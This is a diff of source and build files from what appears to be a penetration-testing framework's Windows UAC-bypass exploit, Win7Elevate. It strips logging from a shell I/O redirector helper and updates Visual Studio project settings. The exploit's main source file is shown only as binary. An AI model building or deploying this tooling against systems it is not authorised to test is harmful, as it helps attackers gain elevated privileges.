|
||||||
DeleteFile( GetPath().c_str() );
|
|
||||||
}
|
|
||||||
|
|
||||||
void CLogger::LogLine( std::wstring& Text )
|
|
||||||
{
|
|
||||||
std::wstring tmp( Text.c_str() );
|
|
||||||
tmp.append( TEXT("\n") );
|
|
||||||
Log( tmp );
|
|
||||||
}
|
|
||||||
|
|
||||||
void CLogger::LogLine( )
|
|
||||||
{
|
|
||||||
Log( TEXT("\n") );
|
|
||||||
}
|
|
||||||
|
|
||||||
void CLogger::LogLine( const TCHAR *Text )
|
|
||||||
{
|
|
||||||
if ( Text )
|
|
||||||
LogLine( std::wstring( Text ) );
|
|
||||||
}
|
|
||||||
|
|
||||||
void CLogger::Log( const TCHAR Char )
|
|
||||||
{
|
|
||||||
std::wstring tmp;
|
|
||||||
tmp.append( &Char, 1 );
|
|
||||||
Log( tmp );
|
|
||||||
}
|
|
||||||
|
|
||||||
void CLogger::Log( const TCHAR *Text )
|
|
||||||
{
|
|
||||||
if ( Text )
|
|
||||||
Log( std::wstring( Text ) );
|
|
||||||
}
|
|
||||||
|
|
||||||
void CLogger::Log( std::wstring& Text )
|
|
||||||
{
|
|
||||||
TCHAR buffer[MAX_PATH];
|
|
||||||
//
|
|
||||||
// We have to check it every time to be reflective if user created this file
|
|
||||||
// while program was runnig.
|
|
||||||
//
|
|
||||||
if ( GetModuleFileName( NULL, buffer, MAX_PATH ) )
|
|
||||||
{
|
|
||||||
std::wstring dbg( buffer );
|
|
||||||
dbg.append( TEXT(".debug") );
|
|
||||||
HANDLE hdbg = CreateFile( dbg.c_str(), FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
|
|
||||||
if ( INVALID_HANDLE_VALUE == hdbg )
|
|
||||||
return;
|
|
||||||
|
|
||||||
CloseHandle( hdbg );
|
|
||||||
}
|
|
||||||
|
|
||||||
HANDLE mutex = CreateMutex( NULL, FALSE, TEXT("CLoggerSync") );
|
|
||||||
if ( mutex ) WaitForSingleObject( mutex , INFINITE );
|
|
||||||
HANDLE hFile = CreateFile( GetPath().c_str(), FILE_ALL_ACCESS, 0, NULL, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH, NULL );
|
|
||||||
if( INVALID_HANDLE_VALUE != hFile )
|
|
||||||
{
|
|
||||||
SetFilePointer( hFile, 0, NULL, FILE_END );
|
|
||||||
|
|
||||||
DWORD written;
|
|
||||||
WriteFile( hFile, Text.data(), Text.size() * sizeof(TCHAR), &written, NULL );
|
|
||||||
|
|
||||||
CloseHandle( hFile );
|
|
||||||
}
|
|
||||||
if ( mutex ) ReleaseMutex( mutex );
|
|
||||||
if ( mutex ) CloseHandle( mutex );
|
|
||||||
}
|
|
|
@ -13,9 +13,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
|
||||||
assert( Parameter );
|
assert( Parameter );
|
||||||
TRedirectorPair *pair = reinterpret_cast<TRedirectorPair*>( Parameter );
|
TRedirectorPair *pair = reinterpret_cast<TRedirectorPair*>( Parameter );
|
||||||
|
|
||||||
CLogger::Log( TEXT("Hello redirector thread: ") );
|
|
||||||
CLogger::LogLine( pair->Name );
|
|
||||||
|
|
||||||
CHAR read_buff[2];
|
CHAR read_buff[2];
|
||||||
DWORD nBytesRead,nBytesWrote;
|
DWORD nBytesRead,nBytesWrote;
|
||||||
|
|
||||||
|
@ -25,11 +22,7 @@ DWORD WINAPI Redirector( LPVOID Parameter )
|
||||||
{
|
{
|
||||||
if( ! ReadFile( pair->Source, read_buff, 1, &nBytesRead, NULL) )
|
if( ! ReadFile( pair->Source, read_buff, 1, &nBytesRead, NULL) )
|
||||||
{
|
{
|
||||||
CLogger::LogLine(
|
|
||||||
CError::Format(
|
|
||||||
GetLastError(),
|
|
||||||
pair->Name.c_str(),
|
|
||||||
TEXT("ReadFile") ) );
|
|
||||||
error = true && (!pair->KeepAlive);
|
error = true && (!pair->KeepAlive);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -67,11 +60,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
|
||||||
|
|
||||||
if ( ! WriteConsoleInput( pair->Destination, &inp, 1, &nBytesWrote) )
|
if ( ! WriteConsoleInput( pair->Destination, &inp, 1, &nBytesWrote) )
|
||||||
{
|
{
|
||||||
CLogger::LogLine(
|
|
||||||
CError::Format(
|
|
||||||
GetLastError(),
|
|
||||||
pair->Name.c_str(),
|
|
||||||
TEXT("WriteConsoleInput") ) );
|
|
||||||
error = true && (!pair->KeepAlive);
|
error = true && (!pair->KeepAlive);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -80,11 +68,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
|
||||||
{
|
{
|
||||||
if ( ! WriteFile( pair->Destination, &read_buff[i], 1, &nBytesWrote, NULL) )
|
if ( ! WriteFile( pair->Destination, &read_buff[i], 1, &nBytesWrote, NULL) )
|
||||||
{
|
{
|
||||||
CLogger::LogLine(
|
|
||||||
CError::Format(
|
|
||||||
GetLastError(),
|
|
||||||
pair->Name.c_str(),
|
|
||||||
TEXT("WriteFile") ) );
|
|
||||||
error = true && (!pair->KeepAlive);
|
error = true && (!pair->KeepAlive);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
@ -92,8 +75,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
CLogger::Log( TEXT("Bye redirector thread: ") );
|
|
||||||
CLogger::LogLine( pair->Name );
|
|
||||||
return EXIT_SUCCESS;
|
return EXIT_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -20,7 +20,6 @@
|
||||||
|
|
||||||
int _tmain(int argc, _TCHAR* argv[])
|
int _tmain(int argc, _TCHAR* argv[])
|
||||||
{
|
{
|
||||||
CLogger::LogLine(TEXT("TIOR: Hello"));
|
|
||||||
|
|
||||||
TRedirectorPair in = {0};
|
TRedirectorPair in = {0};
|
||||||
in.Source = CreateFile( STDIn_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0);
|
in.Source = CreateFile( STDIn_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0);
|
||||||
|
@ -79,9 +78,6 @@ int _tmain(int argc, _TCHAR* argv[])
|
||||||
CInterprocessStorage::GetString( TEXT("w7e_TIORArgs"), args );
|
CInterprocessStorage::GetString( TEXT("w7e_TIORArgs"), args );
|
||||||
CInterprocessStorage::GetString( TEXT("w7e_TIORDir"), dir );
|
CInterprocessStorage::GetString( TEXT("w7e_TIORDir"), dir );
|
||||||
|
|
||||||
CLogger::LogLine(TEXT("TIOR: shell=")); CLogger::LogLine(shell);
|
|
||||||
CLogger::LogLine(TEXT("TIOR: args=")); CLogger::LogLine(args);
|
|
||||||
CLogger::LogLine(TEXT("TIOR: dir=")); CLogger::LogLine(dir);
|
|
||||||
|
|
||||||
STARTUPINFO si = {0};si.cb = sizeof(si);
|
STARTUPINFO si = {0};si.cb = sizeof(si);
|
||||||
PROCESS_INFORMATION pi = {0};
|
PROCESS_INFORMATION pi = {0};
|
||||||
|
@ -100,11 +96,6 @@ int _tmain(int argc, _TCHAR* argv[])
|
||||||
|
|
||||||
if ( ! created )
|
if ( ! created )
|
||||||
{
|
{
|
||||||
CLogger::LogLine(
|
|
||||||
CError::Format(
|
|
||||||
GetLastError(),
|
|
||||||
TEXT("TIOR: Unable to create child process"),
|
|
||||||
TEXT("CreateProcess")));
|
|
||||||
|
|
||||||
return EXIT_FAILURE;
|
return EXIT_FAILURE;
|
||||||
}
|
}
|
||||||
|
@ -113,14 +104,12 @@ int _tmain(int argc, _TCHAR* argv[])
|
||||||
CloseHandle( pi.hThread );
|
CloseHandle( pi.hThread );
|
||||||
}
|
}
|
||||||
|
|
||||||
CLogger::LogLine(TEXT("TIOR: Shell has been started. Waiting..."));
|
|
||||||
HANDLE waiters[4] = {pi.hProcess, in.Thread, out.Thread, err.Thread} ;
|
HANDLE waiters[4] = {pi.hProcess, in.Thread, out.Thread, err.Thread} ;
|
||||||
//
|
//
|
||||||
// Waiting for eny handle to be freed.
|
// Waiting for eny handle to be freed.
|
||||||
// Either some IO thread will die or process will be oevered.
|
// Either some IO thread will die or process will be oevered.
|
||||||
//
|
//
|
||||||
WaitForMultipleObjects( 4, waiters, FALSE, INFINITE );
|
WaitForMultipleObjects( 4, waiters, FALSE, INFINITE );
|
||||||
CLogger::LogLine(TEXT("TIOR: Ensure that we processed all data in pipes"));
|
|
||||||
|
|
||||||
//
|
//
|
||||||
// Even if process was overed, we need to be sure that we readed all data from the redirected pipe.
|
// Even if process was overed, we need to be sure that we readed all data from the redirected pipe.
|
||||||
|
@ -132,11 +121,9 @@ int _tmain(int argc, _TCHAR* argv[])
|
||||||
// Dont forget to close child process. We need to be sure, if user terminated app which
|
// Dont forget to close child process. We need to be sure, if user terminated app which
|
||||||
// reads our redirected data, we terminate the target child app.
|
// reads our redirected data, we terminate the target child app.
|
||||||
//
|
//
|
||||||
CLogger::LogLine(TEXT("TIOR: Killing child process"));
|
|
||||||
TerminateProcess( pi.hProcess, EXIT_FAILURE );
|
TerminateProcess( pi.hProcess, EXIT_FAILURE );
|
||||||
CloseHandle( pi.hProcess );
|
CloseHandle( pi.hProcess );
|
||||||
|
|
||||||
CLogger::LogLine(TEXT("TIOR: Exit"));
|
|
||||||
|
|
||||||
//
|
//
|
||||||
// I will not close any handles here - system will terminate and close all by it self.
|
// I will not close any handles here - system will terminate and close all by it self.
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
<Configuration>Debug</Configuration>
|
<Configuration>Debug</Configuration>
|
||||||
|
@ -28,23 +28,27 @@
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
<ConfigurationType>Application</ConfigurationType>
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
<ImportGroup Label="ExtensionSettings">
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
@ -63,26 +67,31 @@
|
||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<TargetName>$(ProjectName)32</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<LinkIncremental>true</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<TargetName>$(ProjectName)64</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)32</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
<GenerateManifest>false</GenerateManifest>
|
<GenerateManifest>false</GenerateManifest>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<LinkIncremental>false</LinkIncremental>
|
<LinkIncremental>false</LinkIncremental>
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
<TargetName>$(ProjectName)64</TargetName>
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
<GenerateManifest>false</GenerateManifest>
|
<GenerateManifest>false</GenerateManifest>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
|
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -90,6 +99,8 @@
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>false</MinimalRebuild>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
|
@ -99,6 +110,10 @@
|
||||||
<Path>
|
<Path>
|
||||||
</Path>
|
</Path>
|
||||||
</BuildLog>
|
</BuildLog>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -106,11 +121,17 @@
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
<Optimization>Disabled</Optimization>
|
<Optimization>Disabled</Optimization>
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>false</MinimalRebuild>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
</Link>
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -121,6 +142,7 @@
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
|
@ -132,6 +154,10 @@
|
||||||
<Path>
|
<Path>
|
||||||
</Path>
|
</Path>
|
||||||
</BuildLog>
|
</BuildLog>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
|
@ -142,6 +168,7 @@
|
||||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
<PreprocessorDefinitions>WIN64;_WIN64;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN64;_WIN64;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
|
@ -153,6 +180,10 @@
|
||||||
<Path>
|
<Path>
|
||||||
</Path>
|
</Path>
|
||||||
</BuildLog>
|
</BuildLog>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="stdafx.h" />
|
<ClInclude Include="stdafx.h" />
|
||||||
|
|
|
@ -1,6 +1,8 @@
|
||||||
|
|
||||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
# Visual Studio 2010
|
# Visual Studio 2013
|
||||||
|
VisualStudioVersion = 12.0.21005.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{BB654285-1131-415D-B796-21045D32DF87}"
|
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{BB654285-1131-415D-B796-21045D32DF87}"
|
||||||
ProjectSection(SolutionItems) = preProject
|
ProjectSection(SolutionItems) = preProject
|
||||||
Win7Elevate_v2_read_me.txt = Win7Elevate_v2_read_me.txt
|
Win7Elevate_v2_read_me.txt = Win7Elevate_v2_read_me.txt
|
||||||
|
@ -18,37 +20,32 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Win7Elevate", "Win7Elevate\
|
||||||
EndProject
|
EndProject
|
||||||
Global
|
Global
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
Debug|Pocket PC 2003 (ARMV4) = Debug|Pocket PC 2003 (ARMV4)
|
|
||||||
Debug|Win32 = Debug|Win32
|
Debug|Win32 = Debug|Win32
|
||||||
Debug|x64 = Debug|x64
|
Debug|x64 = Debug|x64
|
||||||
Release|Pocket PC 2003 (ARMV4) = Release|Pocket PC 2003 (ARMV4)
|
|
||||||
Release|Win32 = Release|Win32
|
Release|Win32 = Release|Win32
|
||||||
Release|x64 = Release|x64
|
Release|x64 = Release|x64
|
||||||
EndGlobalSection
|
EndGlobalSection
|
||||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32
|
|
||||||
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.ActiveCfg = Debug|Win32
|
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.Build.0 = Debug|Win32
|
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.ActiveCfg = Debug|x64
|
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32
|
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Debug|x64.Build.0 = Debug|x64
|
||||||
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.ActiveCfg = Release|Win32
|
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.Build.0 = Release|Win32
|
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|Win32.Build.0 = Release|Win32
|
||||||
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.ActiveCfg = Release|x64
|
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.ActiveCfg = Release|x64
|
||||||
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.Build.0 = Release|x64
|
{B36517F4-984C-422C-ADF9-85D5ACD4E30B}.Release|x64.Build.0 = Release|x64
|
||||||
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32
|
|
||||||
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.ActiveCfg = Debug|Win32
|
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.Build.0 = Debug|Win32
|
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.ActiveCfg = Debug|x64
|
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32
|
{A1814C92-4DA6-440C-811E-86016AB7433A}.Debug|x64.Build.0 = Debug|x64
|
||||||
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.ActiveCfg = Release|Win32
|
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.Build.0 = Release|Win32
|
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|Win32.Build.0 = Release|Win32
|
||||||
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.ActiveCfg = Release|x64
|
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.ActiveCfg = Release|x64
|
||||||
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.Build.0 = Release|x64
|
{A1814C92-4DA6-440C-811E-86016AB7433A}.Release|x64.Build.0 = Release|x64
|
||||||
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Pocket PC 2003 (ARMV4).ActiveCfg = Debug|Win32
|
|
||||||
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.ActiveCfg = Debug|Win32
|
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.Build.0 = Debug|Win32
|
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.ActiveCfg = Debug|x64
|
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Pocket PC 2003 (ARMV4).ActiveCfg = Release|Win32
|
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Debug|x64.Build.0 = Debug|x64
|
||||||
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.ActiveCfg = Release|Win32
|
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.Build.0 = Release|Win32
|
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|Win32.Build.0 = Release|Win32
|
||||||
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|x64.ActiveCfg = Release|x64
|
{10BD77FB-69F5-46FA-B69A-DF4947C6D7BB}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
|
BIN
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp
vendored
Normal file → Executable file
BIN
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.cpp
vendored
Normal file → Executable file
Binary file not shown.
17
external/source/exploits/bypassuac/Win7Elevate/Win7Elevate.rc
vendored
Normal file → Executable file
17
